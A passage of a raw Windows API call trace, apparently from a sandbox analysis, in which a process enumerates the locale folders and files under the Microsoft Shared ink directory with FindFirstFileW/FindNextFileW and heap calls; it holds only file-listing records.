ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0077.598] GetProcessHeap () returned 0x470000 [0077.599] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.601] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.601] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.601] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.602] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.602] GetProcessHeap () returned 0x470000 [0077.602] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.602] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0077.602] GetProcessHeap () returned 0x470000 [0077.602] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.602] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.602] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.603] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.603] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.603] GetProcessHeap () returned 0x470000 [0077.603] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.603] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0077.603] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0077.603] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0077.603] GetProcessHeap () returned 0x470000 [0077.603] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.604] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.604] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.604] GetProcessHeap () returned 0x470000 [0077.604] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0077.604] GetProcessHeap () returned 0x470000 [0077.604] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.605] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.605] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.605] GetProcessHeap () returned 0x470000 [0077.605] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0077.605] GetProcessHeap () returned 0x470000 [0077.605] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.606] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.607] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.607] GetProcessHeap () returned 0x470000 [0077.607] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.607] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0077.607] GetProcessHeap () returned 0x470000 [0077.607] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.607] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.607] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.608] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.608] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.608] GetProcessHeap () returned 0x470000 [0077.608] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.608] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.608] GetProcessHeap () returned 0x470000 [0077.608] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0077.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, 